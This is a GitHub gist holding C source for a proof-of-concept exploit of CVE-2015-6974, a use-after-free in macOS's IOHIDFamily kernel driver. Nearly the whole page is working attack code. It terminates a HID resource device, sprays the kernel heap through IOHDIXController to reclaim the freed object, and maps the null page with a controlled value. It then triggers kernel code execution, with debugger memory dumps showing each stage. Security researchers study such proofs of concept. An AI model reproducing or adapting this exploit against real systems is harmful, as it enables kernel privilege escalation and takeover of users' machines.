Created
March 1, 2020 21:42
-
-
Save antoniofrighetto/18bf8375d2ae5ce64842db593d494c7d to your computer and use it in GitHub Desktop.
CVE-2015-6974 IOHIDFamily UAF PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// 2k20 antoniofrighetto & benjamin | |
#include <assert.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <pthread.h> | |
#include <mach/mach.h> | |
#include <IOKit/IOKitLib.h> | |
#include <IOKit/iokitmig.h> | |
#define kIOHIDResourceDeviceUserClientMethodCreate 0x0 | |
#define kIOHIDResourceDeviceUserClientMethodTerminate 0x1 | |
#define kIOHIDResourceDeviceUserClientMethodHandleReport 0x2 | |
int main(int argc, const char** argv) { | |
io_service_t servicer = 0; | |
kern_return_t kr; | |
io_iterator_t iterator; | |
kr = IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHIDResource"), &iterator); | |
if (kr != KERN_SUCCESS) { | |
return -1; | |
} | |
servicer = IOIteratorNext(iterator); | |
io_connect_t conn = 0; | |
kr = IOServiceOpen(servicer, mach_task_self(), 1, &conn); | |
IOObjectRelease(servicer); | |
if (kr != KERN_SUCCESS) { | |
return -2; | |
} | |
printf("got userclient connection: %x\n", conn); | |
uint64_t input_scalar[1] = {0}; | |
uint64_t output = 0; | |
uint32_t output_cnt = 0; | |
char *dict = calloc(1, 1024); | |
char *input_struct = dict; | |
#define WRITE_IN(where, what) do { strcpy(where, what); where+=strlen(what); } while(0) | |
WRITE_IN(dict, "<dict>"); | |
WRITE_IN(dict, "<key>RequestTimeout</key><integer>0</integer>"); | |
WRITE_IN(dict, "<key>ReportDescriptor</key><data>BQEJBqEBhQEFBxngKecVACUBdQGVCIEClQF1CIEBlQV1AQUIGQEpBZEClQF1A5EBlQZ1CBUAJv8ABQcZACn/gQAFDHUBlQEJuBUAJQGBAgX/CQN1B5UBgQLABQwJAaEBhVIVACUBdQGVAQnNgQIJs4ECCbSBAgm1gQIJtoECgQGBAYEBhQkVACUBdQiVAQYB/wkLsQJ1CJUCsQHA</data>"); | |
WRITE_IN(dict, "<key>ReportInterval</key><integer>0</integer>"); | |
WRITE_IN(dict, "</dict>"); | |
kr = IOConnectCallMethod( | |
conn, | |
kIOHIDResourceDeviceUserClientMethodCreate, | |
input_scalar, | |
1, | |
input_struct, | |
1024, | |
&output, | |
&output_cnt, | |
NULL, | |
NULL); | |
if (kr != KERN_SUCCESS) { | |
fprintf(stderr, "_device obj was not initialized\n"); | |
return -3; | |
} | |
/* (lldb) x/40gx _device | |
* 0xffffff8027fa0100: 0xffffff7f97298870 0x000000000004000b | |
* 0xffffff8027fa0110: 0xffffff8024e55fc0 0xffffff802370a3c0 | |
* 0xffffff8027fa0120: 0xffffff802370a080 0xffffff8023baad00 | |
* 0xffffff8027fa0130: 0xffffff8023c08c00 0x0000000000000dd8 | |
* 0xffffff8027fa0140: 0x0000000000000000 0x000000010000001e | |
* 0xffffff8027fa0150: 0x0000002b97564cd6 0x0000000000000000 | |
* 0xffffff8027fa0160: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa0170: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa0180: 0x0000000000000000 0xffffff802370aa00 | |
* 0xffffff8027fa0190: 0x0000000000000003 0x0000000000000000 | |
* 0xffffff8027fa01a0: 0xffffff8028171000 0xffffff8028171d00 | |
* 0xffffff8027fa01b0: 0x0000000400000001 0x000000020000000a | |
* 0xffffff8027fa01c0: 0x0000000000000004 0xffffff8023a33680 | |
* 0xffffff8027fa01d0: 0xffffff802370a080 0xffffff8023c08c00 | |
*/ | |
pthread_yield_np(); | |
IOConnectCallScalarMethod(conn, kIOHIDResourceDeviceUserClientMethodTerminate, NULL, 0, NULL, NULL); | |
kern_return_t res = 0; | |
io_service_t servicex = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOHDIXController")); | |
char buffer[] = "<dict><key>1</key><data>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACg==</data></dict>"; | |
for (int i = 0; i < 16; i++) { | |
io_connect_t connx = 0; | |
kr = io_service_open_extended(servicex, mach_task_self(), 0, NDR_record, buffer, sizeof(buffer), &res, &connx); | |
assert(kr == KERN_SUCCESS); | |
} | |
printf("successfully sprayed data on the heap...\n"); | |
/* (lldb) x/40gx _device | |
* 0xffffff8027fa0100: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa0110: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa0120: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa0130: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa0140: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa0150: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa0160: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa0170: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa0180: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa0190: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa01a0: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa01b0: 0x0000000000000000 0x0000000000000000 | |
* 0xffffff8027fa01c0: 0x000000000000000a 0xffffff8023a33680 | |
* 0xffffff8027fa01d0: 0xffffff802370a080 0xffffff8023c08c00 | |
*/ | |
vm_address_t null_page = 0; | |
vm_deallocate(mach_task_self(), null_page, 0x1000); | |
vm_allocate(mach_task_self(), &null_page, 0x1000, 0); | |
*(volatile uint64_t*)(0x938) = 0x4141414141414141; | |
usleep(500); | |
uint64_t input[1] = {1}; | |
/* kernel code exec here */ | |
IOConnectCallMethod( | |
conn, | |
kIOHIDResourceDeviceUserClientMethodHandleReport, | |
input, | |
1, | |
input_struct, | |
1024, | |
NULL, | |
NULL, | |
NULL, | |
NULL); | |
/* last ref of _device is dropped by IOService::terminateWorker() */ | |
usleep(1000); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment